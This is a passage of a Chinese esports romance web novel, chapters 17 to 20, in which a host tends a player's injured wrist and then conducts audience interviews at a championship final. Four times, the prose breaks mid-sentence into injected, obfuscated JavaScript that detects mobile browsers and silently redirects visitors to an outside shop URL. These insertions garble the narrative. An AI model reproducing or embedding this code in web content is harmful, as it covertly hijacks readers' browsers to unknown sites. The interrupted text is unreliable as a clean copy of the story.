连昼迅速头脑风暴,又有了个大胆的猜测。 少爷该不会是,痛得藏不住了所以出来躲开队友吧…… 她直视司偕的眼睛:“你是不是手腕疼?” 果然,司偕眸光闪了闪,没有正面回应。 连昼知道自己猜对了,有点担心地去看他的右手腕。 两人一坐一站,她的视线刚好与司偕手腕齐平,灰黑色护具挡住了他大半腕骨,但仍有难以忽略的淡红色从边缘延伸出来,顺着腕线向外蔓延。 连昼的眉头皱起来。 司偕察觉到了她的视线,立即侧过身,把手腕掩到身后去。 连昼下意识倾身,一把抓住他的右手:“你们的跟队医师住在哪里?” 她的手一直紧靠着冰袋,肤表温度冰冰凉凉,跟司偕因为症状蔓延而格外温热的手部皮肤贴在一起,冷暖相触,两个人同时停顿一瞬。 连昼定了定神,不容拒绝地拉起他:“走,去跟队医师那里,几楼?” “十……”司偕声音有些紧涩,卡卡顿顿地说,“十三楼。” 电梯就在大厅左边,连昼把少爷一路拖行进去,用另一只并不空闲的手按下13层。 司偕被紧紧抓着,一路跟在她身后,乖顺地没作任何反抗。 十三楼前半段都是休息室和会议室,此时没有人走动,一片静悄悄的黑暗。 连昼一路拉着司偕,越往里走越安静,不由得奇怪:“你们医师到底在哪?他已经睡了吗?” 司偕却突然停下脚步,神色有一丝不自然。 “怎么了?” “他是住在这层,”司偕字斟句酌地解释,“但他临时被调派别的分部,这两天不在。” ……管家,少爷竟然能一口气说出这么长的句子。 第一反应过后,连昼的惊讶转为无语。 “他人不在,你带我上来干什么?” “是你带我。” 司偕眨眨眼,慢慢垂下视线,看向自己被牢牢攥住的手。 整层楼只有走道的微弱顶光亮着,其实看什么都不太清晰。 人的视力受阻时,其他感觉就会格外强烈,黑暗中一暖一凉双手交叠,陌生触感像某种动物的绒毛一样贴着指尖,带来一丝轻微的酥麻。 连昼马上弹开,装作很忙地拍拍衣袖又换手提袋子。 “抱歉,我有点着急了。” 她只是随口一说,司偕的眼睛却在昏暗灯光下荧荧如星:“你着急什么?” 连昼:“……” 少爷,你这么问真的很难回答。 好在司偕并没有抓住不放,比起这个几乎不需要明说的答案,他似乎更关心另一件事:“你手上是什么?” 连昼举起其中一个袋子:“冰袋啊。” “另外的呢?” 这下连昼说不出话了。 刚刚阴差阳错,不小心营造出了一种专门为他而来的友好氛围,如果此刻把另一个袋子提起来说“这是特意来送给你们队上单的”,不敢想场面会有多尴尬。 求生本能让她不择手段地抓了个挡箭牌:“我来给你送冰袋,顺便帮琪文带点东西给小渊。” “给我送,顺便帮琪文?” 连昼诚恳点头:“嗯呢。” 司偕却眼神清明:“那你为什么打给季明礼?” 这还不简单,知名辩手连昼即答:“因为你今天不太想理我的样子,我怕影响你心情,所以想让季明礼转交。” 司偕明显愣了一下,唇齿切磋分合,半天才飘出两个毫无力道的字眼:“没有。” 问答主动权转圜,攻守双方交换,现在轮到连昼气定神闲地进入猎杀时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13567328|142548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻:“真没有不想理我?” 司偕移开眼,以沉默作答。 看来还真有。 连昼的好奇升腾起来,但转念一想,少爷嘴硬得能撬动地球,大概问也问不出什么。 比起这种可有可无的纠结,眼前还是另一个状况更加紧急。 她放弃追问,指了指他的手腕:“你的手还撑得住吗,要不要去医院?” 司偕下意识抬起右手腕,轻微翻转:“比刚才好很多,不去医院了,会影响他们。” 团队竞技是这样的,牵一发而动全身。 如果今晚司偕去了医院,那么训练赛的计划会落空,明天比赛队友状态也会受影响,整支队伍的战术策略都难免陷入瞻前顾后的考量。 电竞选手有很多不能打破的规则,连昼身在电竞行业自然能够理解。 她没再多说,只问:“你自己有没有办法缓解?” 司偕摇摇头:“过会就好了。” 怎么可能过会儿就好,腕管综合征可是越夜越严重的。 想到这里,连昼脑中突然灵光一闪—— 她怎么对腕管综合征如此熟悉? 想起来了,那年Morpho手术前后,KG俱乐部每天发好几条vlog回应粉丝关心,里面就掺杂着不少对腕管综合征的科普。 当时还是骨灰蝶粉的连昼不知道把那些视频刷了多少遍,简直刷成了腕管专家。 没想到,居然会在这种场景下派上用场。 “你跟我来。” 她当机立断,把司偕带到十三楼唯一有明亮光线的会客角,把他按在沙发上坐好。 接着,她半蹲在沙发前,与司偕面对着面,双手轻轻托起他的右臂,让他的右手腕微微下压:“伸直,放平。” 司偕格外乖巧地任凭摆弄,身体纹丝不动,只有清亮眼瞳静静地追随着连昼动作转动。 “你歪一下头。” “不是这样……” 眼前的少爷像那张著名的萨摩耶歪头微笑表情包一样,有点无辜地把脑袋侧了一下。 看起来还有点好笑。 连昼没有犹豫,直接上手扶在他的双耳边,向□□斜:“像这样,来回重复十次,可以降低正中神经张力,缓解疼痛。” 司偕听话照做着,脑袋一起一伏,视线却始终锁在连昼脸上,一瞬不离。 好几个来回后,连昼才意识到他们的距离。 脸对着脸,四目相视,呼吸可闻。 本来还没觉得什么,但被他直勾勾地注视着,连昼后知后觉地不自然起来。 她轻咳一声,撤下手,向后退开:“你自己来吧。” 司偕依然注视着她:“你怎么知道可以这样缓解?” ……因为经历过Morpho的前车之鉴。 理由很简单,但连昼说不出口。 其实对她而言,这不过是很普通的、不再有什么特殊意义的一个答案。 然而此时此刻面对的是司偕,她有种连自己都解释不清的怯场。 她不回答,司偕却字字清晰:“Morpho也是,我知道。” 连昼:“……” “是不是真的很像?” 这个问题只问“像不像”,没有指任何名道任何姓,但他们都心知肚明。 司偕的声音还没有停下。 “我听见了,你说,‘会认错’。” 连昼迟钝地回想,几秒之后才想起来。 这是下午发布会被栗子缠着问时她随口的回答。 “不是,现在不会认错了。” 连昼头脑有些混乱,一时语塞,只能用些简陋的词句稍加安抚。 司偕只是静静地抬眼看她,眼眸像黑茶色玻璃珠一样剔透幽深。 半晌,他缓缓开口,声音轻淡而平和。 “不要说了,没关系。” 18.没失眠呀 什么“没关系”,怎么可能“没关系”。 按照少爷的人物设定,说句“滚远点”还差不多,为什么会是“没关系”? 要是真没关系的话,怎么会抛下这意义不明的三个字转身就走,喊都喊不住。 如果有关系,那又为什么让对话不明不白截止,完全不愿意说下去呢。 耿耿于怀地从IR电竞基地回来,连昼翻来覆去到后半夜,好不容易闭上眼睛,结果整夜断断续续的梦里都飘着“没关系”。 不知道半梦半醒睡了多久,或者根本就没有睡着,总之她这一夜睡了跟没睡一样,一大早被导演通知赶到赛场时整个人都是浮在半空中的。 虽然因为人手不够不得不把连昼从冷板凳上拔起来,但导演显然还没原谅,拉着琪文一起对她进行了长达半个小时的思想教育,严肃警告不许再节外生枝。 低眉顺眼地送走导演,连昼马上就猛灌两大杯咖啡,灌完感觉更困了,在后台到处问有没有薄荷糖。 琪文问:“导演讲话有这么催眠?” 连昼解释:“不是,我昨晚没睡觉。” “你是去哪里踩点了?” 去IR的电竞基地踩点了。 连昼思维困顿到差点脱口而出,还好嘴巴比脑子还慢,及时拐了个弯:“去救助受伤小动物了。” 琪文好奇起来:“受伤小动物?” 连昼打着哈欠补充:“还是两只。” 话音刚落,就听见身后响起一阵标志性的吵闹声。 IR几人你推我攘地从休息室挤出来,五件公主粉色队服挤在一起格外显眼,Dzz被大秦教练拎在最前面,恹恹地她们求救:“晚丧,你们号!救倭!” 琪文:“Dzz选手,要不你还是说韩语吧,我们这里有翻译。” 她伸手一揽,把连昼带向身前,“这个主持姐姐可以跟你无障碍交流,你就不要为难我们了。” 连昼猝不及防被推到几人面前,眼神一瞬间有些飘忽,口中没知没觉地来了句:“你们也在这里啊。” 季明礼:“今晚决赛,我们应该在哪里?” 连昼为自己不知所云的问候强行辩解:“在台上啊,你们该去调试设备了。” 季明礼有点疑惑地走过去,又回头来问:“你没睡好,失眠了?” 好可怕的季明礼,他的眼睛就是尺。 连昼装出一副若无其事的样子:“没啊,就是昨天咖啡喝太多。” 嘴是要硬的,眼神是不受自己控制的。 她下意识瞥向导致这场失眠的真正的罪魁祸首。 司偕就站在拐角的阴影里,一双沉黑的眼眸淡漠如冰,依然是一贯高深莫测的Bking神态,好像昨晚的事对他而言没有任何痕迹。 看到这张脸的瞬间,“没关系”三个字卷土重来,严丝合缝地敷满他整张面容。 连昼看着看着就有点烦心,谜语人早就该列入全球第九大公害了! 她收回目光,以工作人员的尊贵身份把这个第九公害连人带队友一起驱逐:“彩排时间很紧张,你们现在就上台,不要在这里浪费时间!” IR几人被她难得的颐指气使所震慑,一边摸不着头脑,一边听话地立即排队去舞台。 只是这次他们的队序有了细微的调整,本该走在最前面的上单小渊落在最后,似乎在拐角处来来回回犹豫了很久,最后又折返回来。 “谢谢……”他鲜少面世的声音卡卡顿顿,“谢谢,琪文老师,司偕,带给我了。” 对昨晚之事毫不知情的琪文:“带什么给你?谢谢我?” 连昼马上插话:“啊,琪文姐,是不是你后来跑去买的东西啊,你说要送去IR基地的。” 她对着琪文猛猛眨眼,琪文接收到了信号,大概心里有了猜测,但嘴上拒不配合:“有话直说,别谜语人。” 没想到回旋镖来得这么快,刚在心里痛批过谜语人,马上自己就重蹈谜语人覆辙。 连昼被琪文不留情面地架出去,不得不思考该以什么样的句式委婉揭开谜底,同时还要注意不能伤害这位Bking二号的颜面。 然而不用她多费口舌,小渊察言观色,自行顿悟了当前状况。 “谢谢,连昼老师。” 他的语调又快又慢,每个字都像是从喉间刻出来的,有种奇怪的顿缓。 连昼对于这种面对面一本正经的道谢有点不好意思,客套一句:“你好点没有,还痛吗?” 小渊回答得很标准:“不怎么,疼了。” 见他束手束脚比自己还不自在,连昼体贴地放行:“那就好,你快去彩排吧。” 一道放行指令被小上单演绎得像放生指令,拔腿就跑开了。 琪文在旁边看完全程,基本掌握了来龙去脉:“这就是你说的救助受伤小动物啊,另一只是谁,Serein吗?” “……”连昼含糊不清地答,“可能是吧。” 琪文还想再追根究底,好在导演在舞台右侧远远吼了一声“连昼”,让救助受伤小动物的话题得以截止。 连昼赶紧跑过去听候差遣,导演紧锁眉头,跟她讲几句话都显得不情不愿:“你就负责在每场小局中间的休息时间去观众席,抓一些比较亮眼的观众采访,就问问是谁的粉丝、支持谁之类的问题。” 不管能不能上台,有工作机会就不错了。 连昼谦卑领命:“没问题,导演,这次一定没问题的!” 夏季季后赛是联赛内最有含金量的赛事,夏季决赛的排场更不用说,从前场到后台全都忙成一团,甚至有道具师在测试舞台干冰的效果,台上一阵一阵飘着云烟。 连昼有点疑惑,现在打电竞比赛也要腾云驾雾的吗。 “是给开幕表演准备的啦。”栗子忙中抽空鄙视了一下她的网速,“你没看见热搜?今天有两个娱乐圈的艺人作客,一个是开场表演嘉宾,一个解说席嘉宾。” 这几天过得头昏脑胀,还真没注意热搜。 连昼顺手打开微博,果然赛事相关的通稿满天飞,热搜上挂着的就有【秦愫白 CGL夏季决赛开幕表演】【宋赴解说席嘉宾】。 还是挺眼熟的两个名字,应该算是热度比较高的流量艺人。 “我们为什么突然跟娱乐圈联动啊?” 栗子想了想:“那就不知道了,可能是为之后的电竞综艺预热吧,之前看到秦愫白粉丝提过,她好像也喜欢看我们比赛。” 连昼对娱乐圈不是很了解,似懂非懂地点点头,没再多问。 紧锣密鼓的准备工作一环接着一环,兵荒马乱持续到正式开幕前最后一秒,满座观众们自发计时,齐声倒数:“3、2、1!” 舞台大屏幕的时间跳到16:30,主持琪文在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582898|142548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 焰火炫光里款款登场。 “欢迎来到2024年CGL夏季决赛,有请新生代女歌手秦愫白为我们带来主题曲《Who Dares Wins》!” 连昼和栗子在后台探头探脑看开幕表演,妆造师挤到她们身边拼命安利:“好听吧好听吧?我们家愫愫人美歌善!” 栗子趁机打听:“秦愫白是不是要跟我们合拍电竞综艺?跟哪支战队合作,IR吗?” 妆造师茫然:“不会吧,愫愫哪有空啊,巡演都来不及。” 她说得没错,秦愫白看起来是真没空,一首歌唱完马不停蹄下台换衣服上保姆车,快得连小粉丝妆造师都没机会去要签名。 短暂的开幕式过后,氛围终于回到了紧张刺激的赛事正题。 舞台主屏开始播放决赛宣传短片,解说在激情的背景音里给观众梳理IR和KG两队的夏季季后赛历程、对比两队选手各项数据,最后给出评词: “老牌战队KG整装重振、黑马之姿,青春风暴IR朝气如虹、锐不可当!今夜无论是谁捧起这座麒麟奖杯,都将开启CGL的全新篇章!” 前期铺垫完成,在全场山呼海啸的高呼声中,十位选手交错登场。 解说思齐一兴奋就开始口无遮拦:“其实这两支战队还真有得打,季后赛开始之前我们都预测冠军的最有力争夺者应该是IR,但是根据前两场的对局表现来看,KG的状态好得出奇,每一局野辅的发挥都无懈可击。” “反观IR,他们最近状态并没有我们预想的那么好……” 这次跟他一起解说的还是小熊,相比思齐而言,小熊显得格外惜命:“但我们仍然要说,IR战队的实力是毋庸置疑的!今晚决赛强强对决,胜负只在毫厘之间,让我们拭目以待!” 在解说一个捅娄子一个找补的默契配合之下,比赛正式进入第一局bp(选用英雄)环节。 后台大屏前堆满了工作人员,平时隐藏颇深的IR狂热粉和KG十年老粉纷纷暴露真实面目,一边互相挤攘一边语言攻击: “我宣布——KG重铸战队荣光就在今夜奚城!” “醒醒吧,现在CGL是谁的天下你出去看看观众席灯牌就知道了!” “等死啊IR脑残粉!” “接受现实吧KG余孽!” 连昼伸长脖子也只能看到半个屏幕,干脆和栗子躲到一边看平板直播。 直播画面中,两支战队已经完成了第一轮的英雄选用。 弹幕上双方粉丝一起跳脚: 【为什么不禁用对面中单的巫象,我要把卡车开进你们KG电子竞技俱乐部!】 【让KG拿到流星之刃和雨女,给少爷拿垃圾银日诡,大秦教练你是人?】 【刚穿越过来,请问这是哪个年代的bp?】 每一句都好熟悉,有种在观看前几天比赛重播的错觉。 连栗子的反应都很熟悉,她发出跟前几天的连昼一模一样的疑问:“IR怎么看起来怪怪的,他们不是一向都习惯打下路吗,现在战略重心改中单了?” 与前几天不同,现在连昼对IR战术转变的原因了然于心。 不是战略重心改了,而是因为—— 她眼神追随着来回摇摆的直播镜头,看向司偕比昨晚还多缠好几层护具的右手腕。 腕管综合征的症状一定更严重了。 19.熟悉的路人 第一把比赛,IR抢占中路对线优势,KG打野极限掠夺前期资源。 开局有来有回,火药味拉满,仅仅前十分钟就频繁爆发小规模团战,上路还没打完下半野区也干起来了,直播镜头切得目不暇接,干脆把画面切成了左中右三部分。 弹幕上一片问号。 【导播,请问我有几只眼睛?】 【OG赛事观看门槛这么高,只有二郎神才能看?】 后台聚集观赛的工作人员比观众还不满,一个场控实习生叽里哇啦:“导播会不会切啊,不会切让我去!” “是你的指导师傅在切,你有本事上去把他踹掉啊!” 栗子笑得停不住,一边笑还一边拍连昼肩膀:“不好笑吗,你怎么不笑!” “……” 连昼紧盯着恶龙坑,“别吵别吵,又要打起来了,又要打起来了!” 这一波团战来得猝不及防,对面AD只是在草丛冒了个头,还没有任何行动,IR下路组就杀气腾腾地追了上去,用技能主动留人。 弹幕:【少爷今天怎么火气这么大,夫人出国了?】 少爷的火气确实大,Dzz用控制技能抓住对面AD的一瞬间,Serein立即就按出银日诡唯一的伤害技能精准洗礼,一滴银日箭矢都没浪费,把对方狠狠锁死在漫天银雨之下。 本局比赛看似热火朝天,其实直到十二分钟才终于出现这第一个击杀,前场和后台的欢呼声一起爆发,场控实习生又行了:“谁说银日诡垃圾的?银日诡垃不垃圾要看头顶ID!我说Serein就是最强的!” 话音都还没落下,本场第二个击杀出现了—— KG打野悄悄传送下来,配合辅助Mist打出减速连招,趁着IR下路组技能空档期用伤害技能强行按死了银日诡。 观赛人堆里立刻又有人大声嚷嚷:“刚刚是谁说银日诡不垃圾的,人呢,说话啊!” 比赛台上选手打得你来我往,后台观赛也吵成了回合制战斗。 连昼在这吵吵嚷嚷的热闹氛围中持续沉默,反常到栗子都有点担心:“你怎么了,少爷死了需要默哀的吗,道上的规矩?” “……” 连昼倒也没有沉恸到默哀的地步。 她只是注意到银日诡的走位,在靠近防御塔时向另一个方向偏移了短短半步,职业比赛瞬息万变,这半步就足够被对手抓死机会。 如果是正常状态的司偕,作为CGL目前最顶尖的AD选手,他一定不会出现这么明显的失误。 连昼微不可闻地叹了一口气。 竞技比赛从来不是爽文,不存在永不可摧的城池堡垒,状态不好就会影响赛场表现,这是无法避免的现实。 大概是队内沟通过司偕的手腕问题,接下来中期运营期间,下路组再也没有什么主动动作,IR的资源全都倾斜给地图上半区,中野发力在对面上路寻找突破口。 KG上单是当年散队之后直接从二队提拔的青训选手,年纪很小,经验却很老道,面对IR的多次钓鱼挑衅都视若无睹,坚守塔下稳稳抗压。 这把比赛拖到后期无比焦灼,双方都处于一种“我打不过你但你也打不过我”的有恃无恐中,一边闲逛等资源刷新一边互相骚扰,Mist甚至在下路对Serein弹出了一个[亲亲]的表情。 栗子刷着微博在前线吃瓜,探完来报:“有人在看Serein的第一视角,原来Mist发[亲亲]之前还说了句‘你好像我的他’……” 后台众人陷入短暂沉默。 该说Mist不愧是赛区第一嘴炮王者吗,搞精神攻击有一套的。 就在大家纷纷掏出手机吃瓜时,前场解说席上思齐一声“就看这波!”惊天动地,宣告着这把折磨观众的对局来到了最后的关键团战。 依然是IR野辅先手开团,但KG的年轻上单顶在前排,挡下了IR全部伤害。 电光火石间,这波团战的走势似乎偏向了KG一方。 思齐语速快得像中文烫嘴:“IR的输出已经被尽数消解,如此看来后续只能任由KG收割了,目前场上还有神龙魂资源,KG可以在完成这波团战后——等一下!让我们聚焦Serein的银日诡!” 全场欢呼暂停。直播画面上,处于劣势的IR站位突然散开,把KG几人阵型引散,由于伤害不足而无人盯防的银日诡毫无预兆闪现向前,冲到KG双C位(中单+AD)面前,控制技能秒接伤害大招,把两人笼罩在火树银花的技能特效之下。 “漫——天——银——雨!” 两位解说同时呐喊,念出这个浪漫又致死的技能名称。 KG双C位一起倒下,同时,冲入敌阵的银日诡也被KG上野反手击杀。但此时局面已经完全逆转,IR中野二人拉满操作,轻松收拾掉了残局。 对局至此尘埃落定,趁着KG团灭的半分钟,IR火速收下神龙魂,一路势如破竹冲上地方高地,点破水晶。 “第一局就如此刺激!家人们看见没有,这就是决赛的含金量!” 思齐日常声嘶力竭,“让我们恭喜IR战队惊险拿下开门红,至于这把的MVP,我想应该没有悬念了吧,肯定是——” “欸欸欸,MVP还是要投票的!” 小熊及时打断他,“按规矩来啊,我们先来回顾一下本局选手们的高光时刻。” 虽说按规矩来是要赛评人和解说一起投出六票、按照票型确定MVP,但看得懂比赛的都知道,这把MVP必然是闪现冲阵、以身破局的Serein。 连昼没有守着看MVP结算画面,因为按照导演的安排,她现在得去观众席随即抓个幸运观众直播采访。 观赛台上座无虚席,连昼小声问导演助理:“我应该抓个什么样的来折磨?” 导演助理:“抓个好看的。” ……这世界是个巨大的卡颜局。 连昼在左半边IR粉丝区转完一圈,观众中场休息进进出出,即使他们带着灯光机器如此显眼,也根本没人注意到他们。 看了半天无从下手,反而是右半区过道最边上的一个女生突然探头过来:“你——你不是那个主持吗?” 就是她了。 连昼马上挂起标准微笑:“你好,请问你方便接受赛间采访吗?” 女生眼睛一亮,主动凑到话筒前:“方便的方便的,大家好我叫小御!” 连昼笑眯眯:“刚刚看完第一局比赛,请问你此时感受如何?” 小御直视直播镜头,欢欣雀跃:“感受就是,Serein选手的操作简直是艺术!Serein我宣你!我的脑汗我的心,我全身上下的每一个器官都在说着,我宣你!” “……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13584192|142548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 对这种场面也算是见怪不怪了,连昼面不改色接话:“好哦,感谢小御玩家对选手的关注,相信Serein选手一定会接收到你的可爱告白。” 小御却还没发挥完,眼神离开镜头,转向连昼:“还有啊,希望主办方不要在Serein身上营销那些花里胡哨的话题了,很无聊!” 被点名批评的连昼说不出话,只能尬笑着回以万能话术:“感谢神谷使者对我们的建议——第二局即将开始,让我们继续回到赛场!” 等她赶回后台时,第二场英雄选禁刚好结束,栗子正在读弹幕: 【IR电子竞技俱乐部,请问你们这个阵容谁打伤害?我吗?】 【教练,KG的前排坦克呢?谁跑得慢谁是坦?】 遇事不决骂教练,是电竞赛事永恒不变的定理。 不过教练的存在感也就选用英雄时强一点,进入对局后,观众的注意力马上投回神谷内。 第二把KG打野发挥极为亮眼,从上到下野区规划得滴水不漏,配合辅助Mist灵性游走,开局十五分钟时就把经济差拉到了四千。 对于整年都顺风顺水的IR而言,本来就很少练习逆风局的应对策略,偏偏这把逆风局里配合还频繁出现失误,尤其是上野像互相屏蔽了语音似的,总是在做不同的选择。 思齐又在锐评:“啊,这个,IR上野两人,在‘打恶龙和保防御塔’之间,选择了‘和’。” 前期巨大劣势下很难出现反转,第二把最终由KG顺利拿下,决赛比分追平到1:1。 选手下台进行局间调整的同时,连昼从后台急匆匆奔赴观众席进行观众采访,这次她绕到了右半区,从刚刚取胜的KG这边抓取粉丝。 KG粉大多是当年夺冠后一直追随战队至今的,什么大起大落都经历过,相比而言显得更为稳重,一个个抬着眼睛看连昼和直拍机器走过去,也不好奇,也不搭讪。 连昼选择了一个看起来格外儒雅的穿着KG队服的清秀男生采访:“玩家你好,你是KG粉丝吗?” 男生的反应平静得像刚睡醒:“是的。” “刚刚KG顺利拿下第二局,追平比赛,此时你的心情如何?” 问出这句话时,连昼已经提前在心里打腹稿,准备为这个男生的冷漠反应圆场。 没想到男生突然起身,把拍摄机器拉过去,正对着自己胸前的KG标识,一声暴喝震耳欲聋:“我们KG就是最牛【哔——】的!” 场面被他突如其来的激情点燃,不少KG粉从座位上蹦起来喝彩:“KG!王者归来!” 跟拍摄影师立马跨步上前,控制镜头捕捉激燃瞬间。 连昼被他挤开,只能向后退步,不经意间退到了过道中间,肩膀刚好碰撞到从身后经过的路人。 她下意识回头:“抱歉,你没事吧?” 那个路人个子很高,戴着严严实实的帽子和口罩,只露出一双沉幽黑润的眼眸。 “没事。” 柔和的声音一掠而过,他转身消失在拥挤人潮里。 连昼其实没太看清也没太听清,但某些熟悉的本能让她捕风捉影起来。 赛间采访结束,她回到后台,神飞天外地恍惚了片刻,最后摸出手机打开微博,点进Morpho的主页。 IP地址显示—— 正是奚城。 20.她担心我 连昼混混沌沌地意识到,自己好像发现了一个秘密。 即使这个秘密还有待查证,但“疑似Morpho”的冲击力已经足够把曾经的狂热蝶粉冲得心神不定了。 她脑子里一团乱麻,第三局比赛从开始看到结算界面,竟然完全没记住看了点什么。 栗子提醒:“你是不是该去采访观众了?” 连昼这才回神,茫然问:“谁赢了?” “KG。”栗子探手摸了摸她的额头,“没发烧啊,好好的人怎么就傻了。” 连昼定了定神,叫上跟拍摄像和导演助理一起去往右半边KG粉丝的观赛区,路上听见身后工作人员你一言我一语地讨论赛况。 “IR上野配合太差了,常规赛还是论坛评的最佳上野组合呢,今天打得跟不认识似的。” “吹了一年的IR,我看今晚要翻车咯。” “他们下路也不行,听说Serein手腕受伤了,刚才后台有工作人员找医生。” 连昼问:“医生来了吗?” 导演助理摇头:“没看见,应该还好,导演说第四把照常,只是可能要耽误一会儿,让我们尽量多抓两个观众采访。” “知道了。” 连昼有些心不在焉地在观众席里前后穿梭,走了半天也没选定采访目标。 跟拍摄像人都被绕晕了,懵懵地问:“你在找什么呢?” “没什么。” 连昼停下脚步。 按照刚才采访的位置,那个被她撞到的观众应该就坐在附近,可是她来回找了三遍,都没有再找到戴帽子和口罩的人。 导演助理催促:“直播马上要切过来了,我们抓紧采访,就找那个cos莫德之月的女生吧。” 摄影红灯亮起,连昼只好把那份急于求证的纠结压下去,循规蹈矩完成了两段观众采访。 应导演“尽量拖时间”的要求,她还逼着其中一个男生唱了段赛事主题曲《Who Dares Wins》。 采访完回到后台,第四把对局已经开始了五分钟。 栗子给她解释战况:“这把赛点局,IR还是把战略重心放回下半区了,给Serein一抢到流星剑刃。” 赛点局,打下半区,阵容一抢,流星剑刃。 “那压力不是都集中在Serein身上?” 栗子点头:“就是说啊,都看少爷发挥了。” 以往比赛让Serein担当核心位一点都不算稀奇,可是现在他手腕严重到要现场请医生,真的能撑得住赛点局的压力吗。 连昼本来就极度混乱的思绪陷入更难平息的焦虑,干脆去拿了一瓶冰水,捂在脸上降降燥气。 栗子:“他们都还没打起来呢,你就红温了?” 话没说完,后台观赛人群就爆发出一阵震耳嚎叫: “打起来了,打起来了!” 这是一波恶龙坑前的小规模团战,双方下野辅互相试探,交错走位之时,Serein的流星剑刃忽然向前一步,卡着最为极限的技能距离,精准点杀了对方AD。 场控实习生嗷嗷直叫:“大声告诉我,流星剑刃的剑鞘上刻着谁的名字!” “Serein!” 另一个KG老粉:“滚!就算天塌下来刻的也是Morpho!” 连昼的焦躁因为这顿毫无营养的对家粉吵架成功消解了一点,或者说,看到司偕还能进行这种极限微操,对他的手腕放心了一点。 前期这波小团战打完,IR一方的优势逐渐建立,凭借成熟的滚雪球能力,他们一路把经济差距滚到一万多,各种地图资源也尽收囊中。 最终神龙魂前一波混战,季明礼和司偕双C背靠背,技能全躲伤害打满,团灭对方五人,在不到半小时的时间点上顺利终结比赛。 第四把结束,比分重新拉回了2:2的平局。 栗子抱怨:“前四把都白打了,还是一局定胜负。” 这次赛间不需要去做采访,导演另外安排了那个叫宋赴的解说席嘉宾与观众互动。 好不容易没有任务,连昼却有些坐不住,迟疑片刻,不声不响地溜达到门口探头张望,正好望见选手们从舞台下来,正要回去各自的准备室。 对局间隙不方便跟选手交流,连昼也没想打扰他们,就只是扒在门边远远看了一眼。 司偕走在队伍最后,微微垂着颈,稍长的刘海在脸上挡下一片阴影,阴影下的神情暗昧不明。 他的手腕上除了赛前就戴着的护具,现在还新增好几圈层层叠叠的白色绷带,从手腕一直缠到了右手臂弯处。 距离有点远,连昼看不太清,不知不觉地大半个人都探出了门外。 眼睛紧紧锁在绷带上时,却见随着行走轻微摆动的手腕蓦地静止下来。 她视线上移,隔着半条走道的空荡,撞入司偕静静望过来的眼眸。 连昼立即把站姿调整到正常模式,装作自然大方,向他点头致意。 司偕停留在走道另一端,抬起右手腕指了指绷带,一向静如山潭的眼睛里透出明显的问询,好像在说:你在看这个? 连昼再次点点头,用口型问:“怎么样?” 司偕顿了顿,唇角勾出似有若无的弧度,眉眼之间忽然生动,一时间好像冰山暖融,掠出一点极其罕见的笑意。 连昼:? 看来是没什么大事了,还能笑出来。 两个人云里雾里地眼神沟通几回合,IR那边季明礼发现司偕迟迟没跟上,回头来找,恰好看见他们遥遥相望的场景,也顿了一下。 他与司偕并肩而站,语气不咸不淡:“我就说你人怎么不见了。” 司偕侧过脸,神情依然冷淡,唇边却轻飘飘哼出一句:“她担心我。” “就算是路边一条流浪狗受伤,她也会担心的。” 季明礼伸手一拉,把司偕拉出走道尽头的视野,“赶紧回去复盘。” 连昼离得远,根本听不见他们在说什么,只能一头雾水地目送两人身影消失。 比赛间隙的时间很短,差不多只过了十分钟,战歌《Who Dares Wins》激昂地响彻整个场馆,把现场观众带入激动人心的决胜时刻。 思齐热血沸腾:“欢迎大家回到比赛现场!接下来是我们最最最期待的——KG vs IR决胜局!” 后台大屏前围得水泄不通,场控实习生一个人舌战四五位KG老粉,吵得就没停下来过。 伴随着他们的唇枪舌剑,两边战队开始选用英雄。 最后一把至关重要,双方教练和选手极尽所能进行战术博弈、利益交换,最终都选出了还算完整的阵容。 IR这边依然把资源倾斜于司偕和季明礼的双C,KG也慎重地选择了稳定C位打野为核心。 对局开始,进入神谷。 导播视角聚焦于Serein的流星剑刃,银发少年背着剑大步流星,路过下路塔也没驻步,直奔对手而去。 对面AD刚到塔下露头,没想到Serein开得这么果断,来不及反应,转瞬就被点掉了一层血。 两位解说同时赞叹:“Serein他真的好凶啊,比前几把更凶了!是不是刚才在后台被教练灌鸡汤了?” 弹幕上奔过一条条“少爷发狂了”的弹幕,栗子深有同感:“还以为少爷今天手感不好,没想到打得比谁都凶。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 